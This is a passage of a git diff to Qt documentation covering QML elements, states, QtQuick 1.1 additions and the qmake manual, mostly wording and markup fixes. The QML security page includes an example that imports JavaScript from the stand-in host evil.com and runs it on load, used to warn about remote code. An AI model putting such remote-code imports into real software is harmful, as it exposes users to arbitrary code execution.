ListElement { someProperty: "some value" }
}
+\endqml
+\qml
ListView {
width: 200; height: 250
model: myModel
@@ -504,9 +506,9 @@ a Web browser.
\l ListView shows a classic list of items with horizontal or vertical placing
of items.
-\beginfloatright
+\div{float-right}
\inlineimage qml-listview-snippet.png
-\endfloat
+\enddiv
The following example shows a minimal ListView displaying a sequence of
numbers (using an \l{QML Data Models#An Integer}{integer as a model}).
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 8aa031d..482043c 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
For example, this QML content:
\qml
+import QtQuick 1.0
import "http://evil.com/evil.js" as Evil
-... Evil.doEvil() ...
+
+Component {
+ onLoaded: Evil.doEvil()
+}
\endqml
is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index c6160c5..6d5aebc 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
Non-Item objects can use states through the StateGroup element.
-\section1 Creating states
+\section1 Creating States
To create a state, add a \l State object to the item's \l {Item::}{states} property,
which holds a list of states for that item.
@@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
\qml
Rectangle {
- ...
+ // ...
states: [
State {
name: "moved"
@@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
property can be defined as a single \l State, without the square-brace list
syntax:
-\qml
-Item {
- ...
- states: State {
- ...
- }
-}
-\endqml
+\snippet doc/src/snippets/declarative/propertyanimation.qml single state
A \l State is not limited to performing modifications on property values. It
can also:
@@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
transitions between them.
-\section1 The default state
+\section1 The Default State
Of course, the \l Rectangle in the example above could have simply been moved
by setting its position to (50, 50) in the mouse area's \c onClicked handler.
@@ -146,7 +139,7 @@ like this:
\qml
Rectangle {
- ...
+ // ...
MouseArea {
id: mouseArea
@@ -154,8 +147,9 @@ Rectangle {
}
states: State {
- name: "moved"; when: mouseArea.pressed
- ...
+ name: "moved"
+ when: mouseArea.pressed
+ // ...
}
}
\endqml
@@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
\qml
Rectangle {
- ...
+ // ...
MouseArea {
anchors.fill: parent
@@ -181,7 +175,7 @@ Rectangle {
states: State {
name: "moved"
- ...
+ // ...
}
}
\endqml
@@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
assigning the state from signal handlers.
-\section1 Animating state changes
+\section1 Animating State Changes
State changes can be easily animated through \l {Transitions}{transitions}. A
@@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
\qml
Rectangle {
- ...
+ // ...
- MouseArea { ... }
+ MouseArea {
+ // Handle mouse events...
+ }
states: [
- ...
+ // States are defined here...
]
transitions: [
@@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
milliseconds.
See the \l Transitions documentation for more information.
-
*/
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 563dc3b..3f3e0e4 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
\qml
SomeElement {
id: myObject
- ... some other things here ...
+ // ... some other things here ...
}
\endqml
@@ -247,13 +247,17 @@ referencing these properties from another object we use the property
directly, instead of saying:
\qml
-myRectangle.anchors.top // Wrong
+Item {
+ anchors.bottom: myRectangle.anchors.top // Wrong
+}
\endqml
we use
\qml
-myRectangle.top // Correct
+Item {
+ anchors.bottom: myRectangle.top // Correct
+}
\endqml
@@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
Rotation of text was also suggested. It could also be useful to scale the
text. We can do both. The \l {Item::transform}{transform} property is a
\e list of \l Transform elements, so using the list syntax
-
-\qml
-myList: [ listElement1, listElement2, ... } ]
-\endqml
-
+\c{myList: [ listElement1, listElement2, ... } ]}
we can produce a list of transformations.
The text will be rotated by 45 degrees anti-clockwise and scaled
diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc
index 3ab1634..131be1b 100644
--- a/doc/src/declarative/qmlinuse.qdoc
+++ b/doc/src/declarative/qmlinuse.qdoc
@@ -72,7 +72,7 @@
</div>
<!-- tech domains start -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -100,7 +100,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -140,7 +140,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -185,7 +185,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -198,7 +198,7 @@
<!-- video box end -->
</div>
<div class="primary">
- <h2><a name="interactElement">QML Interaction Elements</h2></a>
+ <h2><a name="interactElement">QML Interaction Elements</a></h2>
<p>
These elements define basic interactions such as touch movements and focus management.</p>
<b>Elements:</b>
@@ -207,7 +207,7 @@
<li><a href="qml-flipable.html">Flipable Element</a> - The Flipable item provides a surface that can be flipped or reflected.</li>
<li><a href="qml-focuspanel.html">FocusPanel Element</a> - The FocusPanel item explicitly creates a focus panel.</li>
<li><a href="qml-focusscope.html">FocusScope Element</a> - The FocusScope object explicitly creates a focus scope for focus management.</li>
- <li><a href="qml-gesturearea.html">GestureArea Element</a> - The GestureArea item enables simple gesture handling.</li>
+ <li><a href="qml-pincharea.html">PinchArea Element</a> - The PinchArea item enables simple pinch gesture handling.</li>
<li><a href="qml-keynavigation.html">KeyNavigation Element</a> - The KeyNavigation attached property supports key navigation by arrow keys.</li>
<li><a href="qml-keys.html">Keys Element</a> - The Keys attached property provides key handling to Items.</li>
<li><a href="qml-mousearea.html">MouseArea Element</a> - The MouseArea item enables simple mouse handling.</li>
@@ -216,7 +216,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -243,7 +243,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -276,7 +276,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -307,7 +307,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -334,7 +334,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -372,7 +372,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -410,7 +410,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -441,7 +441,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -468,7 +468,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc
index cfb762c..585b402 100644
--- a/doc/src/declarative/qmlviewer.qdoc
+++ b/doc/src/declarative/qmlviewer.qdoc
@@ -192,6 +192,9 @@ Rectangle {
}
\endqml
+\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer,
+through the \c active property of the \l {QML:Qt::application}{Qt.application} object.
+
\row
\o \c runtime.orientation
diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
index 05dac52..4a6f6a9 100644
--- a/doc/src/declarative/qtdeclarative.qdoc
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -56,7 +56,7 @@
\macro QML_DECLARE_TYPE()
\relates QDeclarativeEngine
- Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+ Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
#include <QtDeclarative> to use this macro.
*/
@@ -85,6 +85,21 @@
Returns the QML type id.
+ There are two forms of this template function:
+
+ \code
+ template<typename T>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+
+ template<typename T, int metaObjectRevision>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+ \endcode
+
+ The former is the standard form which registers the type \e T as a new type.
+ The latter allows a particular revision of a class to be registered in
+ a specified version (see \l {QML Type Versioning}).
+
+
For example, this registers a C++ class \c MySliderItem as a QML type
named \c Slider for version 1.0 of a \l{QML Modules}{module} called
"com.mycompany.qmlcomponents":
@@ -103,7 +118,9 @@
\qml
import com.mycompany.qmlcomponents 1.0
- Slider { ... }
+ Slider {
+ // ...
+ }
\endqml
Note that it's perfectly reasonable for a library to register types to older versions
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
index 7895c9f..b7d09a1 100644
--- a/doc/src/declarative/qtprogrammers.qdoc
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
-and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
+and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
a widget that is otherwise too large to fit in available space.
Nearly all such components can be created directly in QML. Only a few cases
diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc
index b9ae913..1ee5e61 100644
--- a/doc/src/declarative/tutorial.qdoc
+++ b/doc/src/declarative/tutorial.qdoc
@@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays
The \c y property is used to position the text vertically at 30 pixels from the top of its parent.
The \c anchors.horizontalCenter property refers to the horizontal center of an element.
-In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}).
+In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}).
The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}.
@@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat
Our cell component is basically a colored rectangle with the \c id \e rectangle.
The \c anchors.fill property is a convenient way to set the size of an element.
-In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}).
+In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}).
\snippet examples/declarative/tutorials/helloworld/Cell.qml 3
diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
index a3ba522..e8c2124 100644
--- a/doc/src/declarative/whatsnew.qdoc
+++ b/doc/src/declarative/whatsnew.qdoc
@@ -29,7 +29,116 @@
\title What's new in Qt Quick
\page qtquick-whatsnew.html
-\section1 4.7.1
+\section1 Qt 4.7.3 includes QtQuick 1.1
+
+QtQuick 1.1 is a minor feature update.
+
+\section2 PinchArea
+
+PinchArea provides support for the common two finger pinch gesture.
+
+\section2 Text
+
+Added the following properties:
+\list
+\o \l {Text::}{lineHeight}
+\o \l {Text::}{lineCount}
+\o \l {Text::}{maximumLineCount}
+\o \l {Text::}{truncated}
+\endlist
+
+horizontalAlignment now accepts Text.AlignJustify alignment mode.
+
+\section2 TextEdit
+
+Added the following properties, methods and signal handlers:
+\list
+\o \l {TextEdit::}{canPaste}
+\o \l {TextEdit::}{lineCount}
+\o \l {TextEdit::}{deselect()}
+\o \l {TextEdit::}{moveCursorSelection()} to enable selection by word
+\o \l {TextEdit::}{onLinkActivated}
+\endlist
+
+\section2 TextInput
+
+Added the following properties and methods:
+\list
+\o \l{TextInput::}{canPaste}
+\o \l{TextInput::}{deselect()}
+\o \l{TextInput::}{moveCursorSelection()} to enable selection by word
+\endlist
+
+\section2 Image, BorderImage and AnimatedImage
+
+Added the following properties:
+\list
+\o \l{Image::}{cache}
+\o \l{Image::}{mirror}
+\endlist
+
+\section2 Item
+
+Added the following properties:
+\list
+\o \l{Item::}{implicitWidth} and \l{Item::}{implicitHeight}
+\endlist
+
+\section2 Flickable
+
+Added the following methods:
+\list
+\o \l{Flickable::}{resizeContent()}
+\o \l{Flickable::}{returnToBounds()}
+\endlist
+
+\section2 ListView and GridView
+
+Added the following methods:
+\list
+\o \l{ListView::}{positionViewAtBeginning()}
+\o \l{ListView::}{positionViewAtEnd()}
+\endlist
+
+\section2 Flow, Grid and Row
+
+Added the following properties:
+\list
+\o \l{Flow::}{layoutDirection}
+\endlist
+
+\section2 Repeater
+
+Added the following methods and signal handlers:
+\list
+\o \l{Repeater::}{onItemAdded}
+\o \l{Repeater::}{onItemRemoved}
+\o \l{Repeater::}{itemAt()}
+\endlist
+
+\section2 Component
+
+\list
+\o The \l{Component::}{createObject()} method now accepts a map of initial property values for
+the created object.
+\endlist
+
+\section2 Qt
+
+\list
+\o Added the \l {QML:Qt::application}{Qt.application} object to hold generic global application
+properties.
+\endlist
+
+\section2 Other changes
+
+\list
+\o Functions can be \l{Binding Properties from JavaScript}{assigned to properties from JavaScript}
+to create property bindings.
+\endlist
+
+
+\section1 Qt 4.7.1
\section2 QtQuick namespace
diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc
index 11fc110..3eeb313 100644
--- a/doc/src/demos/mediaplayer.qdoc
+++ b/doc/src/demos/mediaplayer.qdoc
@@ -32,5 +32,5 @@
The Media Player demonstration shows how \l{Phonon Module}{Phonon}
can be used in Qt applications to handle audio and video playback.
- \image mediaplayer-demo.png
+ \image qmediaplayer-demo.png
*/
diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc
index 4817058..bc80ed3 100644
--- a/doc/src/deployment/deployment.qdoc
+++ b/doc/src/deployment/deployment.qdoc
@@ -1550,8 +1550,8 @@
\note If you want to have your application properly Symbian Signed for distribution,
you will have to properly sign both the application and the application installer packages.
Please see
- \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed}
- {Symbian Signed wiki} for more information about Symbian Signed.
+ \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed}
+ {Forum Nokia Wiki} for more information about Symbian Signed.
For more information about creating a \c .sis file and installing it to device see also
\l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}.
diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc
index 3971f3e..870d47c 100644
--- a/doc/src/development/developing-with-qt.qdoc
+++ b/doc/src/development/developing-with-qt.qdoc
@@ -28,7 +28,7 @@
/*!
\page developing-with-qt.html
- \title Cross-platform & Platform-specific Development
+ \title Cross-Platform and Platform-Specific Development
Qt allows you to write advanced applications and UIs once, and deploy them
across desktop and embedded operating systems without rewriting the source
code. The top section of this page provides an overview of the tools and
@@ -37,7 +37,7 @@
links to documents that describe platform-specific features provided by Qt,
and discuss issues related to particular platforms and environments.
- \section1 Cross-platform Development with Qt
+ \section1 Cross-Platform Development with Qt
Qt is provided with a set of build tools to help developers automate
the process of building and installing Qt applications.
@@ -68,7 +68,7 @@
\endlist
\endtable
- \section1 Platform-specific Development with Qt
+ \section1 Platform-Specific Development with Qt
These documents describe platform-specific features provided by Qt, and
discuss issues related to particular platforms and environments.
@@ -110,6 +110,4 @@
\o Collections of notes about Qt implementations on different window systems.
\endlist
\endtable
-
-
*/
diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
index 84d6d5f..1c5d903 100644
--- a/doc/src/development/qmake-manual.qdoc
+++ b/doc/src/development/qmake-manual.qdoc
@@ -34,26 +34,26 @@
\ingroup qttools
\keyword qmake
- \c qmake is a tool that helps simplify the build
- process for development project across different platforms. \c qmake
+ \l {qmake}{ \c qmake} is a tool that helps simplify the build
+ process for development project across different platforms. \l {qmake}{ \c qmake}
automates the generation of Makefiles so that only a few lines of
- information are needed to create each Makefile. \c qmake can be used for
+ information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for
any software project, whether it is written in Qt or not.
- \c qmake generates a Makefile based on the information in a project
+ \l {qmake}{ \c qmake} generates a Makefile based on the information in a project
file. Project files are created by the developer, and are usually
simple, but more sophisticated project files can be created for
complex projects.
- \c qmake contains additional features to support development with Qt,
+ \l {qmake}{ \c qmake} contains additional features to support development with Qt,
automatically including build rules for \l{moc.html}{moc}
and \l{uic.html}{uic}.
- \c qmake can also generate projects for Microsoft Visual studio
+ \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio
without requiring the developer to change the project file.
\section1 Getting Started
The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews
- that aim to help new users get started with \c qmake.
+ that aim to help new users get started with \l {qmake}{ \c qmake}.
\list
\o \l{qmake Tutorial}
@@ -98,22 +98,22 @@
\previouspage qmake Manual
\nextpage qmake Project Files
- \c qmake provides a project-oriented system for managing the build
+ \l {qmake}{ \c qmake} provides a project-oriented system for managing the build
process for applications, libraries, and other components. This
approach gives developers control over the source files used, and
allows each of the steps in the process to be described concisely,
- typically within a single file. \c qmake expands the information in
+ typically within a single file. \l {qmake}{ \c qmake} expands the information in
each project file to a Makefile that executes the necessary commands
for compiling and linking.
In this document, we provide a basic introduction to project files,
- describe some of the main features of \c qmake, and show how to use
- \c qmake on the command line.
+ describe some of the main features of \l {qmake}{ \c qmake}, and show how to use
+ \l {qmake}{ \c qmake} on the command line.
\section1 Describing a Project
Projects are described by the contents of project (\c .pro) files.
- The information within these is used by \c qmake to generate a Makefile
+ The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile
containing all the commands that are needed to build each project.
Project files typically contain a list of source and header files,
general configuration information, and any application-specific details,
@@ -134,12 +134,12 @@
\section1 Building a Project
- For simple projects, you only need to run \c qmake in the top
- level directory of your project. By default, \c qmake generates a
+ For simple projects, you only need to run \l {qmake}{ \c qmake} in the top
+ level directory of your project. By default, \l {qmake}{ \c qmake} generates a
Makefile that you then use to build the project, and you can then
run your platform's \c make tool to build the project.
- \c qmake can also be used to generate project files. A full
+ \l {qmake}{ \c qmake} can also be used to generate project files. A full
description of \c{qmake}'s command line options can be found in the
\l{Running qmake} chapter of this manual.
@@ -157,7 +157,7 @@
\previouspage Using qmake
\nextpage Running qmake
- Project files contain all the information required by \c qmake to build
+ Project files contain all the information required by \l {qmake}{ \c qmake} to build
your application, library, or plugin. The resources used by your project
are generally specified using a series of declarations, but support for
simple programming constructs allow you to describe different build
@@ -167,7 +167,7 @@
\section1 Project File Elements
- The project file format used by \c qmake can be used to support both
+ The project file format used by \l {qmake}{ \c qmake} can be used to support both
simple and fairly complex build systems. Simple project files will
use a straightforward declarative style, defining standard variables
to indicate the source and header files that are used in the project.
@@ -180,14 +180,14 @@
\section2 Variables
In a project file, variables are used to hold lists of strings.
- In the simplest projects, these variables inform \c qmake about the
+ In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the
configuration options to use, or supply filenames and paths to use
in the build process.
- \c qmake looks for certain variables in each project file, and it
+ \l {qmake}{ \c qmake} looks for certain variables in each project file, and it
uses the contents of these to determine what it should write to a
Makefile. For example, the list of values in the \c HEADERS and
- \c SOURCES variables are used to tell \c qmake about header and
+ \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and
source files in the same directory as the project file.
Variables can also be used internally to store temporary lists of values,
@@ -206,13 +206,13 @@
\snippet doc/src/snippets/qmake/variables.pro 1
- The \c CONFIG variable is another special variable that \c qmake
+ The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake}
uses when generating a Makefile. It is discussed in the section on
\l{#GeneralConfiguration}{general configuration} later in this chapter.
In the above line, \c qt is added to the list of existing values
contained in \c CONFIG.
- The following table lists the variables that \c qmake recognizes, and
+ The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and
describes what they should contain.
\table
@@ -247,8 +247,7 @@
Normally, variables are used to contain whitespace-separated lists
of values. However, it is sometimes necessary to specify values containing
- spaces. These must be quoted by using the
- \l{qmake Function Reference#quote-string}{quote()} function in the following way:
+ spaces. These must be quoted by using double quotes:
\snippet doc/src/snippets/qmake/quoting.pro 0
@@ -256,9 +255,7 @@
the variable. A similar approach is used to deal with paths that contain
spaces, particularly when defining the
\l{qmake Variable Reference#INCLUDEPATH}{INCLUDEPATH} and
- \l{qmake Variable Reference#LIBS}{LIBS} variables for the Windows platform.
- In cases like these, the \l{qmake Function Reference#quote(string)}{quote()}
- function can be used in the following way:
+ \l{qmake Variable Reference#LIBS}{LIBS} variables for the Windows platform:
\snippet doc/src/snippets/qmake/spaces.pro quoting include paths with spaces
@@ -276,7 +273,7 @@
\section2 Built-in Functions and Control Flow
- \c qmake provides a number of built-in functions to allow the contents
+ \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents
of variables to be processed. The most commonly used function in simple
project files is the \c include function which takes a filename as an
argument. The contents of the given file are included in the project
@@ -295,7 +292,7 @@
The assignments inside the braces are only made if the condition is
true. In this case, the special \c win32 variable must be set; this
happens automatically on Windows, but this can also be specified on
- other platforms by running \c qmake with the \c{-win32} command line
+ other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line
option (see \l{Running qmake} for more information). The opening
brace must stand on the same line as the condition.
@@ -316,15 +313,15 @@
\section1 Project Templates
The \c TEMPLATE variable is used to define the type of project that will
- be built. If this is not declared in the project file, \c qmake assumes
+ be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes
that an application should be built, and will generate an appropriate
Makefile (or equivalent file) for the purpose.
The types of project available are listed in the following table with
- information about the files that \c qmake will generate for each of them:
+ information about the files that \l {qmake}{ \c qmake} will generate for each of them:
\table
- \header \o Template \o Description of \c qmake output
+ \header \o Template \o Description of \l {qmake}{ \c qmake}output
\row \o app (default) \o Creates a Makefile to build an application.
\row \o lib \o Creates a Makefile to build a library.
\row \o subdirs \o Creates a Makefile containing rules for the
@@ -339,7 +336,7 @@
See the \l{qmake Tutorial} for advice on writing project files for
projects that use the \c app and \c lib templates.
- When the \c subdirs template is used, \c qmake generates a Makefile
+ When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile
to examine each specified subdirectory, process any project file it finds
there, and run the platform's \c make tool on the newly-created Makefile.
The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to
@@ -351,7 +348,7 @@
The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the
options and features that the compiler should use and the libraries that
should be linked against. Anything can be added to the \c CONFIG variable,
- but the options covered below are recognized by \c qmake internally.
+ but the options covered below are recognized by \l {qmake}{ \c qmake} internally.
The following options control the compiler flags that are used to build the
project:
@@ -380,7 +377,7 @@
The \c debug_and_release option is special in that it enables \e both debug and
release versions of a project to be built. In such a case, the Makefile that
- \c qmake generates includes a rule that builds both versions, and this can be
+ \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be
invoked in the following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0
@@ -428,7 +425,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 1
- Note, that you must use "+=", not "=", or \c qmake will not be able to
+ Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to
use Qt's configuration to determine the settings needed for your project.
\section1 Declaring Qt Libraries
@@ -478,13 +475,13 @@
\section1 Configuration Features
- \c qmake can be set up with extra configuration features that are specified
+ \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified
in feature (.prf) files. These extra features often provide support for
custom tools that are used during the build process. To add a feature to
the build process, append the feature name (the stem of the feature filename)
to the \c CONFIG variable.
- For example, \c qmake can configure the build process to take advantage
+ For example, \l {qmake}{ \c qmake} can configure the build process to take advantage
of external libraries that are supported by
\l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config},
such as the D-Bus and ogg libraries, with the following lines:
@@ -501,7 +498,7 @@
If you are using other libraries in your project in addition to those
supplied with Qt, you need to specify them in your project file.
- The paths that \c qmake searches for libraries and the specific libraries
+ The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries
to link against can be added to the list of values in the
\l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries
themselves can be given, or the familiar Unix-style notation for specifying
@@ -527,7 +524,7 @@
\previouspage qmake Project Files
\nextpage qmake Platform Notes
- The behavior of \c qmake can be customized when it is run by
+ The behavior of \l {qmake}{ \c qmake} can be customized when it is run by
specifying various options on the command line. These allow the
build process to be fine-tuned, provide useful diagnostic
information, and can be used to specify the target platform for
@@ -540,13 +537,13 @@
\section2 Syntax
- The syntax used to run \c qmake takes the following simple form:
+ The syntax used to run \l {qmake}{ \c qmake} takes the following simple form:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8
- \c qmake supports two different modes of operation: In the default mode,
- \c qmake will use the description in a project file to generate a Makefile,
- but it is also possible to use \c qmake to generate project files.
+ \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode,
+ \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile,
+ but it is also possible to use \l {qmake}{ \c qmake} to generate project files.
If you want to explicitly set the mode, you must specify it before all
other options. The \c mode can be either of the following two values:
@@ -555,7 +552,8 @@
\c qmake output will be a Makefile.
\o \c -project \BR
\c qmake output will be a project file. \BR
-\bold{Note:} It is likely that the created file will need to be edited for example adding the \c QT variable to suit what modules are required for the project.
+ \bold{Note:} It is likely that the created file will need to be edited; for example,
+ adding the \c QT variable to suit what modules are required for the project.
\endlist
The following \c options are used to specify both general and mode-specific
@@ -569,10 +567,10 @@
\section2 Options
- A wide range of options can be specified on the command line to \c qmake in
+ A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in
order to customize the build process, and to override default settings for
your platform. The following basic options provide usage information, specify
- where \c qmake writes the output file, and control the level of debugging
+ where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging
information that will be written to the console:
\list
@@ -588,7 +586,7 @@
\endlist
For projects that need to be built differently on each target platform, with
- many subdirectories, you can run \c qmake with each of the following
+ many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following
options to set the corresponding platform-specific variable in each
project file:
@@ -642,7 +640,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9
- In Makefile mode, \c qmake will generate a Makefile that is used to build the
+ In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the
project. Additionally, the following options may be used in this mode to
influence the way the project file is generated:
@@ -662,7 +660,7 @@
and the value of \c QMAKESPEC will be ignored.
\endlist
- You may also pass \c qmake assignments on the command line;
+ You may also pass \l {qmake}{ \c qmake} assignments on the command line;
they will be processed before all of the files specified. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10
@@ -683,7 +681,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12
- In project mode, \c qmake will generate a project file. Additionally, you
+ In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you
may supply the following options in this mode:
\list
@@ -714,7 +712,7 @@
Many cross-platform projects can be handled by the \c{qmake}'s basic
configuration features. On some platforms, it is sometimes useful, or even
- necessary, to take advantage of platform-specific features. \c qmake knows
+ necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows
about many of these features, and these can be accessed via specific
variables that only have an effect on the platforms where they are relevant.
@@ -727,15 +725,15 @@
\section2 Source and Binary Packages
- The version of \c qmake supplied in source packages is configured slightly
+ The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly
differently to that supplied in binary packages in that it uses a different
feature specification. Where the source package typically uses the
\c macx-g++ specification, the binary package is typically configured to
use the \c macx-xcode specification.
- Users of each package can override this configuration by invoking \c qmake
+ Users of each package can override this configuration by invoking \l {qmake}{ \c qmake}
with the \c -spec option (see \l{Running qmake} for more information). This
- makes it possible, for example, to use \c qmake from a binary package to
+ makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to
create a Makefile in a project directory with the following command line
invocation:
@@ -743,7 +741,7 @@
\section2 Using Frameworks
- \c qmake is able to automatically generate build rules for linking against
+ \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against
frameworks in the standard framework directory on Mac OS X, located at
\c{/Library/Frameworks/}.
@@ -803,7 +801,7 @@
The architectures to be supported in the binary are specified with the
\l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the
- following assignment causes \c qmake to generate build rules to create
+ following assignment causes \l {qmake}{ \c qmake} to generate build rules to create
a universal binary for both PowerPC and x86 architectures:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18
@@ -818,12 +816,12 @@
Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode
project files, as described in
\l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native},
- by running \c qmake to generate an Xcode project from an existing \c qmake
+ by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake}
project files. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19
- Note that, if a project is later moved on the disk, \c qmake must be run
+ Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run
